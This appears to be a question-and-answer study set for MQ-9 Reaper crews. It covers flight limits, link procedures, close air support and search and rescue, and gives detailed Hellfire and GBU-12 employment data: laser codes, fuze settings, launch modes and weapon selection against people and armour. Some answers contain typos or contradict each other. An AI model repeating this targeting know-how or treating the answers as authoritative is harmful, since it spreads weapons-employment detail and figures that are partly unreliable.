The ___ has a multi-purpose warhead with a naturally fragmenting steel case and internal tungsten fragmentation sleeve combining blast fragmentation and fragment dispersion.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 1 Para: 1.11.9 - Answer: AGM-114/R-9E
For GBU-12s, squeeze the trigger at desired release point for ________release mode, and prior to optimal release point for _____ deliveries.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 2 Para: GBU-12 Release Step 8 Note - Answer: Manual, CCRP
"PRF Code Mismatch" with a yellow indicator will be present if the PRF code set on the weapon and aircraft LRD does not match. A PRF mismatch with a yellow marker will ____.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 2 Para: AGM-114 Pre-Launch Step 33 - Answer: not prevent release
Aircraft shall not be shut down until ____ has passed after last attempt to release forward firing ordnance.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 3 Para: 3.3 Step 8 Caution - Answer: one hour
If ripple fire will be used with a combination of Hellfire IIP, Hellfire P+ (R guidance), or Hellfire R missiles, the crew shall ensure launch parameters are compatible with the ____ restrictive of the three missile types being launched. The choice of missile being fired ____ will determine what graphics are shown on the tracker display.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 5 Para: 5.3.1 - Answer: more/first
Maintain safe taxi speeds at all times, not to exceed ____ knots ground speed (KGS) on a taxiway, ____ KGS on a runway, and ____ KGS in a turn.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.6.2.6 - Answer: 10, 20, 5
Minimum runway length for Reaper operations is ____ feet.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.7.1 - Answer: 5000
Minimum runway width for MQ-9 operations is ____ ft while minimum taxiway width is ____ ft.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.7.2 - 3.7.3 - Answer: 75, 50
Crews may takeoff prior to a raised cable provided there is at least _____ ft of runway or minimum required takeoff distance (whichever is greater) prior to the raised cables.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.8.4 - Answer: 5000
Pilots will establish a normal glide path by ____ feet AGL. Descent rates greater than ____ feet per minute (FPM) below 200 feet AGL, greater than ____ FPM below 50 feet AGL, airspeed more than ____ KIAS below calculated approach speed, or a pilot-induced oscillation(PIO)/bounce require a go-around.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.10.2.3 - Answer: 200, 1200, 800, 5
Minimum approach airspeed during an SFO traffic pattern is stall speed plus ____ KIAS.
Ref: AFI 11-2MQ-1&9V3 Chap: 3 Para: 3.12.3.1 - Answer: 15
When an alternate airfield is not an option or not available, aircrews will comply with the following ceiling and visibility requirements: the worst weather (TEMPO or prevailing) must be at or above a ceiling of ____ or ____ above the lowest compatible minima (whichever is greater), and a visibility of ____ miles or ____ mile(s) above the lowest compatible minima.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.2.1.2.1 - Answer: 800, 500, 2, 1
When the ceiling is below ____ feet and ____ miles, crew members will increase recovery fuel to allow the aircraft to hold for a minimum of ____ hours at best endurance, then penetrate and land with normal recovery fuel.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.2.1.2.2 - Answer: 3000, 3, 2
While airborne, adjust landing time (early or later) as necessary to ensure forecast weather for the ETA (±1 hour) remains within the minima specified. If an aircrew is unable to adjust landing time to ETA buffer requirements, then terminate the mission so as to return the aircraft to base with sufficient fuel to hold for a minimum of ____ hours then penetrate and land with normal recovery fuel.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.2.1.2.3 - Answer: 4
While airborne, if revised forecast winds for ETA (±1 hours) exceed limits specified in the flight manual, the pilot will terminate the mission in time to return to the operating base ____
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.2.3.2 - Answer: A. before the forecast time of increased winds.
B. with sufficient fuel to fly low approaches for a minimum of two hours (or as directed by Local Operating Procedures) unless a suitable alternate is available.
Whenever the outside air temperature is less than ____ degrees Fahrenheit, or the pilot is concerned about frost, ice, or snow, apply an ice retardant to the wings or inspect the aircraft for frost immediately prior to takeoff.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.3.1 - Answer: 40
Do not takeoff or land with an RCR less than ____.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.3.4.1 - Answer: 12
Handling characteristics of the MQ-9 on ice or snow are not optimum. On ice and/or snow, minimize throttle setting to that required to move (or sustain movement of) the aircraft and limit taxi speed to no more than ____ KGS.
Ref: AFI 11-2MQ-1&9V3 Chap: 4 Para: 4.3.4.2 - Answer: 5
Pilots will not taxi with nose-wheel steering, brake system, video path, or telemetry/datalink malfunctions.
Ref: AFI 11-2MQ-1&9V3 Chap: 7 Para: 7.2.1 - Answer: True
If encountering a landing gear malfunction and the gear are down, leave them down and do not make touch and go landings.
Ref: AFI 11-2MQ-1&9V3 Chap: 7 Para: 7.3.2 - Answer: True
Unless otherwise briefed SO's will announce altitude deviations exceeding ± ____ feet at the Initial Approach Fix, Final Approach Fix, and Minimum Descent Altitude, as well as when reaching Decision Height or the Missed Approach Point.
Ref: AFI 11-2MQ-1&9 V3 Chap: 3 Para: 3.10.2.4 - Answer: 100
Ground lost link is declared when the following condition(s) are true at the time of lost link:
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.15.17.2 - Answer: A. Airspeed is less than 50 KIAS
B. Landing gear is commanded down
C. GPS ground speed is less than 50 knots
Selected warning messages related to the navigation system may appear when the aircraft is first powered up. They should disappear after about _____ minutes.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.17.4 - Answer: 5
During Aircraft Initial Link, many navigation status parameters are presented. The main concern for the operator is that FCA # Stat is ____ and FCA # Err is ____. Under normal conditions, this will take ____ minutes. Do not move the aircraft until the appropriate codes are presented.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.17.5 - Answer: F7, 20, 7 - 9
GDT transmitter low power ____
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.21.4 - Answer: A. is intended for maintenance purposes.
B. can be used for taxi in some circumstances.
C. is not intended for flight operation.
The shape of the GDT Horn Antenna (Wide) allows the GDT to easily acquire the aircraft at approximately ____ NM.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.21.3.2 - Answer: 5.5
Extended use of nose lens heat at ____% or higher on the ground will cause the lens to crack.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.28.1.1 Caution - Answer: 60
Before starting the C-Band link test, verify signal strengths are at least ____%.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.17 - Answer: 50
Clear all personnel from within a ____ foot radius of the aircraft to avoid the Ku-band RF radiation hazard.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2-19 Step 20 Warning - Answer: 70
If lightoff does not occur within ____ seconds after 10%, the start should be aborted.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.22 Step 26 Caution - Answer: 10
Do not operate C-band transmitters on high power if ground personnel are within ____ foot (feet) of the antenna.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: Figure 2-1 - Answer: 3
Confirm aircraft magnetic heading is within ____º of exact runway heading when aircraft is aligned on runway centerline.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.28 Step 1 Note - Answer: ±5
When the airborne modem is enabled, current on bus 1 will increase by approximately ____ amperes; which can be verified by checking Bus 1 Current on VIT 1.
Ref: T.O. 1Q-9(M)A-1 Chap: 1 Para: 1.25.2.3 - Answer: 10
A visual check of the main wheel tires, brake assemblies, and nosewheel steering should be accomplished before descending below ____. Also, confirm ____ indication is not present within the gear indicator on the pilot HUD.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.39 Step 1 - Answer: 500' AGL, "B"
Airspeeds in excess of ____ on final approach cause a loss of lift and rapid increase in the rate of descent because of the reflex action of the flaps and ailerons.
Ref: T.O. 1Q-9(M)A-1 Chap: 2 Para: 2.50 Caution - Answer: 120 KIAS
During an abort, if it becomes apparent that the aircraft will depart the prepared surface ____.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.6 - Answer: Condition Lever - Aft
During a GDT switch, if GDT power is switched off before the GDT uplink TX is turned off, it is not possible to regain link with the second GDT as the TX on the first GDT remains on.
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.62 - Answer: True
What must be considered if landing with a flat main tire?
Ref: T.O. 1Q-9(M)A-1 Chap: 3 Para: 3.52 - Answer: A. Land on the side of the runway corresponding to the good main tire
B. Land with any crosswind on the side of the aircraft with the good main tire
Maximum gear in transit speed is ____ KIAS.
Ref: T.O. 1Q-9(M)A-1 Chap: 5 Para: Figure 5-6 - Answer: 135
The maximum crosswind component for takeoff and landing is ____ knots with normal loads. With asymmetric loads, the crosswind limit is ____ knots.
Ref: T.O. 1Q-9(M)A-1 Chap: 5 Para: 5.12 - Answer: 15, 13
When conditions of snow or ice exist, the ____ are usually more slippery than any other areas due to the melting and freezing of ice and snow at this location.
Ref: T.O. 1Q-9(M)A-1 Chap: 7 Para: 7.3.3 - Answer: approach ends of the runway
Excessive heating of the aircraft structure will damage the composite material. Do not exceed ____ ºF on aircraft surfaces.
Ref: T.O. 1Q-9(M)A-1 Chap: 7 Para: 7.4 Caution - Answer: 130
To lessen the possibility of entering a hydroplaning skid:
Ref: T.O. 1Q-9(M)A-1 Chap: 7 Para: 7.3.6.4 - Answer: Do not apply brakes until after wheels spin up and directional control has been firmly established
Firefighting withdrawal distance for nonessential personnel is _____ if a burning aircraft is armed with GBU-12s or AGM-114s.
Ref: T.O. 1Q-9(M)A-34-1-1 Chap: 3 Para: Table 3-2 - Answer: 4000 feet
Any aircrew member who will enter the GCS for the purpose of assisting with or directly participating in flight operations must complete...
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.2.4 - Answer: A. Step Brief
B. Go-No/Go procedures
C. Listed on the preflight authorization
MQ-9's will squawk Mode 3 as assigned by ATC. If aircraft control is to be transferred to another GCS while in flight, the aircraft will maintain the same Mode 3 code.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.3.7 - Answer: True
In order to conduct flight operations in the Hancock Field Class C airspace, the weather for the departure to R-5201 or R-5203 must be at or above_______.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.5.6.2 - Answer: 2000' AGL
If weather precludes RTB via normal recovery airspace/procedures, crews will declare an emergency with the appropriate ATC agency and squawk _______ or as directed.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.8.2.2 - Answer: 7700
LRE crew change outs or seat swaps will not take place below pattern altitude in Class D or Class C airspace. MCE crews will not change out below ______' AGL.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.6.5 - Answer: 2000
MCE crews will plan to be in R-5203 for hand back with _______ lb. of fuel. LRE crews will plan to land with no less than ______ lb. of fuel.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.6.6.2 - Answer: 1100 / 900
Fuel dumping will take place at the highest practical altitude, no lower than _________ MSL and within the confines of R-5201 main impact Area or R-5203, Misty Complex if practical.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.8.7 - Answer: 5000'
Class C inner ring extends from the surface to _______ MSL.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.5.3.1 - Answer: 4400'
If the forecast or observed weather is less than 3000 feet or visibility is below 3 miles from present time until land time (+/- 1 hr ETA) or forecast winds exceed limits from present time until land time (+/- 1 hr ETA) crews will plan to be in R-5203 for hand back with _______ lb.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.6.6.4 - Answer: 1500
Carriage of releasable weapons is restricted to WSAAF, R-5201/2 (A/B), and R-5203.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.7.2 - Answer: False
The MSA for R-5201 is ______ MSL and R-5203 is ______ MSL.
Ref: AFI 11-2MQ-1&9V3_174OG Supplement Chap: 8 Para: 8.2.6.7 - Answer: 2400' / 1300'
Which Stns can the GBU be hung from? - Answer: 2, 3, 5, 6
Which Stns can the AGM-114 be hung from? - Answer: 2 & 6
Does the Master Arm have to be armed to Emergency Jettison weapons? - Answer: No (only for active release and selective jettison; nb: 800-900m/s between stores)
State the AGM-114 launch sequence? - Answer: 6-2 (outer); 2-1 (outer); 6-1 (inner); 2-2 (inner).
What colour does the SMS Stn/Store indicator need to be in order to be 'Good'? - Answer: Green
Which PRF codes are hardwired into the GBU? - Answer: Left - 1511; Right - 1522
Which crew position can use the SMS? - Answer: Only the pilot configured rack can display the GSMS screen and control the SMS
When would you complete a No-Spot Procedure? - Answer: When the SMS says the missile has an error, (with or without coming off the rail); Haven't seen the bomb hit the tgt (+15 secs)
In the Store Status box for a weapon, what colour would indicate there is a potential problem? - Answer: Red
Can the SMS automatically tell the difference between which types of AGM-114 are on the pylons? - Answer: No
Can the pilot launch weapons with a PRF code mismatch displayed on the SMS? - Answer: Yes (note warning will be displayed on the HUD)
How does the AGM-114 know where to turn to find the laser spot? - Answer: Via R-9 msg; missile given Azimuth, Depression Angle and Range to steer until seeker eyes open
What power is used to move the AGM-114 control fins and how long can it last? - Answer: Pneumatic pressure (Gas Gain Generator) from the accumulator; up to 70 secs (55 secs when cold, i.e. -40 Deg)
What is the purpose of the AGM-114 precursor charge? - Answer: To disable reactive armour
Which AGM-114 Lock-on After Launch (LOAL) code will give the largest Target Handover Boundary (THB)? - Answer: LOAL-D (Direct)
What is the typical AGM-114 impact angle you can expect when utilising LOAL-H (High)? - Answer: 84 Deg
What are the two malfunctions that the AGM-114 can have during employment? - Answer: Hang-fire / Miss-fire
What sleeve does an AGM-114P-4B have? - Answer: Tantalum
What sleeve does an AGM-114P-4A have? - Answer: Steel (1152 fragments)
What does HEAT stand for? - Answer: High Explosive Anti-Tank (AGM-114P-4)
What is specific about a AGM-114P-4? - Answer: Shaped charge, with precursor
What is the typical AGM-114 impact angle you can expect when utilising LOAL-L (Low)? - Answer: 12 Deg
What is the name of the launcher that sits on the BRU-15/71 and enables the AGM-114 to be fired? - Answer: M-299P (nb: requires 215lbs of force to release)
How long does the AGM-114 Thermal Battery last? - Answer: 155 secs
What is the time delay that is hardwired into the AGM-114N-4? - Answer: 9.8 m/secs
Which PRF codes need to be set in order to enable: Height of Burst (HoB); Anti Armour (Instantaneous); Delayed fuse. - Answer: HoB - 1744; Instantaneous - 1755; Delay - 1766
What is the notional HoB above the ground? - Answer: 1.3m
How far away from other objects must the AGM-114R-2 (HoB) maintain? - Answer: 3m (+/- 1m)
What is minimum time of laser energy that the AGM-114 requires to be accurate? - Answer: 15 secs
What is the minimum time you should stay airborne for if you experience a hang-fire/miss-fire? - Answer: 1 hr
Do we utilise Lock-On Before Launch (LOB-L) for the AGM-114? - Answer: No
Which Lock-on After Launch provides the greatest Frag Pattern? - Answer: LOAL-H (High)
For how long must the AGM-114 see the laser spot - Answer: Half the Time of Flight (ToF)
What will happen if the AGM-114 does not acquire the laser during its ToF? - Answer: It will navigate to the estimated tgt position
Which AGM-114 delivery can decrease impact angle and increase sonic boom time? - Answer: Off boresight
What does SLAPUM stand for? - Answer: SMS (Set from FENCE - P,SO)
Laser (Set 1122, Armed LRD - SO)
AutoPilot/Airspeed (Heading hold - Off, Airspeed close to R-Missile Input - P)
Payload (set - SO)
Update (refine tgt designation; Auto/Manual - P,SO)
Master Arm (Armed - P)
What does WTARSEC stand for - Answer: Weapon (Type, Variant, Number, Delay, Station, Station, PRF)
Target / Track Plan (Camera and FOV/Type of Attack)
Aim Point (point where you want it)
Run-In (Friendlies?, Danger Close?, How I want the missile to come into the tgt)
Shift Plan (Abort = Shift Cold / Alternate Tgts)
Egress / Re-attack Game Plan
Clearance (Type and authority - Type 1, 2 or 3)
What does a solid Green weapon on the HUD indicate? - Answer: Selected and ready to launch
If you experience a 'No Spot', how long should you continue to Lase? - Answer: 15 secs
How long before launch should the SO achieve Laser ON/Firing? - Answer: 30 secs
The acronym used on Final Check is: STAT, what does it stand for? - Answer: Steering
Timing
Airspeed
Track
The re-attach checks follow the acronym ASULT, what does this stand for? - Answer: Airspeed
SMS
Update
Laser
Target/AimPoint/Shift Plan
If you are directed to gain clearance for each individual target before shooting, which type of control would you be under? - Answer: 2
What is the UNCLAS Danger Close figure for AGM-114 - Answer: 150m
What class of weapon is the GBU-12 - Answer: 500lb (Mk-82 warhead)
What type of guidance does the GBU-12 have? - Answer: Bang-Bang
What is the minimum amount of laser energy (in time) that the GBU-12 requires prior to impact? - Answer: 8 secs
What is the UNCLAS Danger Close figure for GBU-12? - Answer: 275m
How long will the GBU-12 Thermal Battery last? - Answer: 55 secs
What % wind model does the Continuously Calculated Release Point (CCRP) use? - Answer: 20%
Can you set the PRF for the GBU-12 from the cockpit? - Answer: No - it is hardwired into the bomb
What is the minimum impact velocity required by the GBU-12? - Answer: 607ft/sec
By what method does the GBU-12 derive most damage? - Answer: Fragmentation
Although rare, what are the two malfunctions that the GBU-12 has during employment? - Answer: Failure to release
Failure to impact within the Field of View (FoV)
-------------------------------
Mission Control Module - Answer: MCM
Store Station Interface Unit - Answer: SSIU
GCS Stores Management System - Answer: GSMS
Input/Output Expander
( I/O Expander ) - Answer: IOX
Direct Drive Brushless Alternator - Answer: DDBA
Ground Data Terminal - Answer: GDT
SATCOM Earth Terminal Subsystem - Answer: SETSS
Aircraft Digital Control System - Answer: ADCS
Cross-Channel Datalink - Answer: CCDL
Alcohol/Water Injection - Answer: AWI
Ruggedized Aircraft Maintenance Test Station - Answer: RAMTS
Keyboard Video Mouse - Answer: KVM
Head-Down Display - Answer: HDD
Multi-Function Workstation - Answer: MFW
Circuit Card Assembly - Answer: CCA
Computer Software Component - Answer: CSC
Digital Ground Control System - Answer: DGCS
Digital Flight Control System - Answer: DFCS
Advanced Detector Interface - Answer: ADI
Universal Asynchronous RS-422 Bus - Answer: UARB
Payload Power Distribution Module - Answer: PPDM
Battery Junction Board - Answer: BJB
Battery Junction Assembly - Answer: BJA
UNINTERRUPTIBLE POWER SUPPLY - Answer: UPS
Serial Relay Module - Answer: SRM
Computer Software Configuration Item - Answer: CSCI
Sensor Processor Modem Assembly / Interim Modem Assembly - Answer: SPMA / IMA
-------------------------------
What is the desired impact angle for the GBU-12? - Answer: 35 Deg
Where are the GBU-12 fuses located? - Answer: Nose and Tail
What are the GBU-12 delivery options? - Answer: CCRP or Manual
If a JTAC asks you to attack North / South, what is your flexibility on heading? - Answer: +/- 45 Deg
What does M-Kill stand for? - Answer: Mobility Kill - Tgt (i.e. vehicle) incapable of controlled movement
What does K-Kill stand for? - Answer: Catastrophic kill - -tgt damage not repairable
If you are asked to Harass a tgt, what does that mean? - Answer: 10% Unit casualties
In terms of impact angles, what does High Off-Boresight / Long Distance deliver? - Answer: Lower impact angles
Ideally you should assure an AGM-114 Sonic Boom time of less than how many secs? How do you minimise a sonic boom? - Answer: 2 secs. Less manoeuvre of the missile.
What is the GBU stated: Min safe training distance; Danger Close; CDE? - Answer: 1 km; 275m; 120m
What is the AGM-114 stated: Min safe training distance; Danger Close; CDE? - Answer: 900m; 150m; 60m
What are the laser masking considerations? - Answer: Podium & Entrapment
How would the laser caught in a cave be best described? - Answer: Entrapment
On which HDD can the SMS be displayed? - Answer: Pilots Left HDD
With the SMS displayed on the pilots left HDD, where are the aircraft warnings shown? - Answer: On the right HDD (the screen shrinks to accommodate)
Which AGM-114 munition would be the best choice against a tank? - Answer: AGM-114P-4 (HEAT - High Explosive Anti-Tank)
Why would an AGM-114R-2 be a good choice against a brick/block building? - Answer: It offers the option for a delayed fuze
Why would an AGM-114 missile be chosen to prosecute a target? - Answer: Accuracy
Which AGM-114 launch profile would deliver the greatest Frag on impact? - Answer: LOAL-H
If you experience an AGM-114 Miss-fire, what is your first consideration? - Answer: The requirement to stay airborne for at least 1-hr
What will happen to a GBU-12 if it does not acquire any laser energy? - Answer: It will fall ballistically
Where are the fuses located on a GBU-12? - Answer: Nose and Tail
Beyond which Impact Angle provides the greatest GBU-12 accuracy? - Answer: >35 Dec IA
What does the 'T' of TARSEC stand for? - Answer: Track (Sensor Track Checks)
What are the immediate actions following a GBU-12 'No Spot'? - Answer: Continue to lease for 15'', Zoom Out, Search
What is the primary 'kill mechanism' of the GBU-12? - Answer: Frag
In addition to the aim point of a weapon, what other considerations need to be taken into account? - Answer: Impact Angle, Run-in heading and Laser Line of Sight
How long does it take to complete the following turns, when flying a Rate 1 Turn - 360 Deg, 180 Dec and 90 Deg? - Answer: 2 min, 1 min, 30 secs
What is a key consideration of utilising the LTM? - Answer: The LTM is not boresighted
What is the optimum laser wedge when utilising a ground based laser? - Answer: 10-45 Deg
What AGM-114 launch mode would be best for vehicles? - Answer: LOAL-D
What LOAL mode requires a slower moving vehicle? - Answer: LOAL-H
What should the pilot try to do with the aircraft in order to make the sensor's task a simple as possible? - Answer: Try to fly the aircraft so that the sensor is working in a single axis
How do you know that the AGM-114 is ready? - Answer: The 'Ready' light will be lit?
Which AGM-114 are fitted with a frag sleeve? - Answer: AGM-114P-4A (Steel) & AGM-114P-4B (Tantalum)
What is one of the things that the laser enables for the AGM-114? - Answer: Terminal Guidance
Does the AGM-114 utilise Lock-on Before Launch (LOBL)? - Answer: No
What indication is shown on the HUD if a GBU-12 does not release? - Answer: Solid Red weapon indicated
What weapon would be best used for personnel in the open? - Answer: GBU-12
What is the purpose of Shift Cold? - Answer: Minimise weapon effects on the original target
How do you minimise the time of the AGM-114 Sonic Boom? - Answer: Minimise distance and missile manoeuvre
What do you need for an LSST talk-on? - Answer: PRF code and a reference point
To most NATO airmen and JTACS, by what term is the LTM more commonly known? - Answer: IR Pointer
If conducting a Buddy Lase as the shooter, what should be one the key considerations? - Answer: Ensure that the the shooter is above the mule
If the moving target track breaks at 5 secs TTI, what should the Sensor not do? - Answer: Not re-grow the track
What is the USAF preferred mechanism to recover personnel? - Answer: Combat Search and Rescue (CSAR)
Who has overall responsibility in theatre for CSAR and appoints the JPRC? - Answer: Joint Force Commmander
What are the 5 CSAR tasks? - Answer: Report; Locate; Support; Recover; Re-integrate
What is an RPA strength in CSAR? - Answer: Long Loiter Time
For CSAR what are the 3 methods of authentication? - Answer: ISOPREP, CSAR info of the day, Common Sense Method (last resort)
What are the primary duties of the On-Scene Commander? - Answer: Locate, Authenticate, and Support / Protect the Survivor
At which point should the IP be debriefed, upon their recovery? - Answer: The re-integration phase
What is a key WEAKNESS of RPA CSAR? - Answer: Effective RESCORT
What is used to designate the forward limits of the geographical area of the battle? - Answer: Forward Edge of the Battle Area (FEBA)
Who do we principally support with CAS? - Answer: Ground Forces
Which organisation provides overall control for all CAS? - Answer: Air Support Operations Cell (ASOC)
Where is CAS principally conducted? - Answer: Short of the Fire Support Coordination Line (FSCL) - Note: Short of FSCL = CC Controls / Long of FSCL = Attempt to coordinate with ground forces
What are the key sections of the CAS 9-line that are required to be read back? - Answer: 4 = Target Elevation; 6 = Target Location; Restrictions (nb: if working NATO, need to read back friendly location too)
What is the Danger Close distance for a GBU-12? - Answer: 275m
What is the Danger Close distance for a AGM-114 P? - Answer: 110m
What is the Danger Close distance for a AGM-114 R2? - Answer: 150m
Who dictates a Post Launch Abort / Shift Cold & what / where could it be? - Answer: JTAC / Could be specific point or cardinal direction
What is the azimuth restriction on a given run-in direction? - Answer: +/- 45 deg
What is not a pilot duty? - Answer: Tracking the DPI?
Where is the Joint Personnel Recovery Centre situated? - Answer: JAOC or CAOC
What is the Search and Rescue word code called? - Answer: SARNEG (referred to as NEG)
Which organisation coordinates the rescue mission? - Answer: JPRC
During a rescue mission, who controls the rescue assets? - Answer: Rescue Mission Commander (RMC)
By what method can we send encrypted data bursts? - Answer: QuickDraw 2
What is the furthest forward line which encompasses MOST of our regular forces? - Answer: Forward Edge of the Battle Area (FEBA)
What is the most forward position of friendly forces called? - Answer: Forward Line of Own Troops (FLOT)
Who has ultimate weapons release authority? - Answer: Ground Component Commander
What describes a high activity area, usually around an airfield? - Answer: Joint Security Area (JSA)
CAS can support what types of operations? - Answer: Offensive; Defensive; Stability
What are the 2-types of CAS requests? - Answer: Pre-planned or Immediate
Name the process of identifying / verifying that the thing that you are looking at is the required target? - Answer: Correlation
What must you establish for a Bomb On Target (BOT)? - Answer: Must have visual with the target
If the JTAC is visual with both the target and the strike asset, what type of control is this? - Answer: Type 1
If the JTAC is unable to acquire either the attacking aircraft or the target, this describes what type of control? - Answer: Type II
Clearance of multiple attacks in a single engagement, describes what type of control? - Answer: Type III
What does an ordnance delivery inside 0.1% (probability of incapacitation) describe? - Answer: Danger Close
If friendlies are receiving effective fire, it describes what? - Answer: Troops in Contact (TIC)
If the JTAC says for you position at C6, what does this mean? - Answer: South of E (Target) by 6NM
Who accepts strike tasking? - Answer: Pilot
What is an RPA strength in CSAR? - Answer: Long Loiter Time
If you hear "cleared to engage", what type of control are you working under? - Answer: Type III
What is NOT a responsibility for the SO? - Answer: De-confliction of airspace
Injury or damage to non-combatant persons, objects or the environment, describes what? - Answer: Items that define CDE
Name 2-ways to authenticate during CAS, if the radios are NOT secure? - Answer: AKAC 1553 or RAMROD
What does SAFE stand for? - Answer: Selected Area for Evasion
What is the purpose of the RESCAP? - Answer: Protect the CSAR task force
Name one way you cannot authenticate an IP? - Answer: By their injury
Who can Direct action of Combat Crew, has Authority to control manoeuvre and grant weapons release Authority? - Answer: JTAC (Joint Terminal Attack Controller)
Does a Free Fire Area (FFA) require additional coordination? - Answer: No
What are lines 4 & 6 of the CAS 9-Line? - Answer: 4 = Elevation; 6 = Coordinates
-------------------------------
White Sands Radar Facility (49 OSS/OSZ) is identified as WSRF and includes Radar Approach Control (RAPCON) functions Approach Control, Arrival, Departure Control, Clearance Delivery and U.S. Army Military Radar Unit, Mission Control known as Cherokee. Tower refers to Holloman Tower and includes Local Control, Ground Control, and Flight Data functions. - Answer: A. True
Due to lack of instrument navigation equipment, MQ-1/9 aircraft are unable to hold IAW _________. RPAs will "orbit" or "delay" as directed by ATC for aircraft de-confliction. - Answer: A. AFMAN 11-217V1
The Green Route corridor is __________inside WSMR Restricted Airspace perimeter. - Answer: A. 1/2 NM
Aircraft will not takeoff, land, or fly approaches at HAFB during periods of lightning within ____ NM of the airfield area. - Answer: A. 5
Crew changeovers and seat swaps will only occur at/above __________ Above Ground Level (AGL). - Answer: B. 2000ft
Coordination is required __________ prior to departure time for other than primary runway. - Answer: C. 1 Hour
RPA shall have an operational transponder and squawk as determined by ATC. - Answer: A. True
When scheduled, the Yellow Container will be added to the HMN Airspace Restrictions page by Scheduling. RPA Squadrons that desire to use this airspace in conjunction with RAPTOR Airspace must coordinate with Raptor Ops Sups. - Answer: A. True
RPA aircrew will deconflict their Emergency Missions over Last Six in 1000' increments. In the event weather and/or airspace preclude use of scheduled orbits, the Ops Sup(s) will coordinate 500' altitude stacks or direct RPA to RTB as required. - Answer: A. True
The primary means of airspace deconfliction shall be through the scheduling process with a backup of real time deconfliction utilizing _________. - Answer: A. Cherokee
If the data link cannot be re-established within one hour of fuel exhaustion, the SOF (or Ops Sup, if no SOF on duty) shall coordinate with the _______ for the probable activation of the HAFB Comprehensive Emergency Management Plan 10-2, On/Off Base Aircraft Accident Checklist(s). - Answer: B. OG/CC
On departure, unless amended by ATC, the preprogrammed emergency mission will be set to follow the departure routing, delay in the assigned airspace for no less than 30 minutes, and return along the inverse of the departure routing. - Answer: A. True
Prior to applying power to the GDT, aircrew will establish reasonable certainty that no RPAs are established inside the perch through 500ft climb out, (using Zeus) and will make an advisory radio call on _______________ Frequency. - Answer: B. RPA Common
If unable to glide back to HAFB using (Line of Sight) LOS link, avoid populated areas and glide to the nearest _______, ________ site. - Answer: B. Uninhabited, undeveloped
The GCS is to be considered a cockpit environment. The PIC is the final authority for entry/exit and number of personnel in the cockpit. - Answer: A. True
RPA's shall enter HMN Class D airspace via the __________ routes, or as directed by ATC. Cardinal heading is the direction to fly on the route. - Answer: B. ORANGE or GREEN
In the event of a weather recall, the SOF will coordinate with RPA Ops
Sup when determining whether to recall, discontinue departures, or direct full-stops. RPA's will recover IAW _______ specific guidance. - Answer: C. 11-2MDS V3
In the event lost link occurs in the Class D airspace, the preprogrammed Emergency Mission will be set to fly the MQ-1/9 direct to a point _______ NM(s) past the departure end of the active runway. - Answer: A. 1
If a hung forward firing ordnance occurs, safe switches and declare an In-Flight Emergency (IFE). Avoid pointing aircraft at populated areas. Recover straight in RWY 22 or backup RWY 25. - Answer: A. True
While in assigned airspace, the preprogrammed emergency mission will be set to begin with no less than a 30 minute delay at the assigned altitude (squawk normal), then return along the inverse of the departure routing (squawk 0277). - Answer: A. True
If control of the MQ-1/9 aircraft cannot be regained, it will orbit at the "LAST SIX" until fuel exhaustion. - Answer: A. True
MQ-1/9 use ______ routes to transition restricted airspace unless otherwise directed by Cherokee. - Answer: A. Colored
If the aircraft departs its lost link route and the PIC has aircraft positional awareness, who is responsible to notify the controlling agency immediately? - Answer: B. PIC
During an RPA Lost Communication/No Radio (NORDO) situation, direct telephone communications between ATC and a NORDO RPA are the primary means of back-up communication. - Answer: A. True
All RPA crews will monitor the __________ frequency while in HMN Class D airspace and should monitor __________ while outside the Class D airspace for RPA traffic and frequency de-confliction. - Answer: D. RPA Common, RPA Common
C-Band sharing between RPA squadrons will be prioritized as follows: Check-rides, Normal Program Flying Training, Launch & Recovery, Continuation Training and Emergencies. - Answer: B. False
RPA are exempt from the noise abatement procedures. The 49 OG/CC or designated representative will specify RPA restrictions during quiet hours for ceremonies, etc. - Answer: A. True
ROMEO departures are authorized when a Lost Link RPA is orbiting at the Last Six. - Answer: B. False
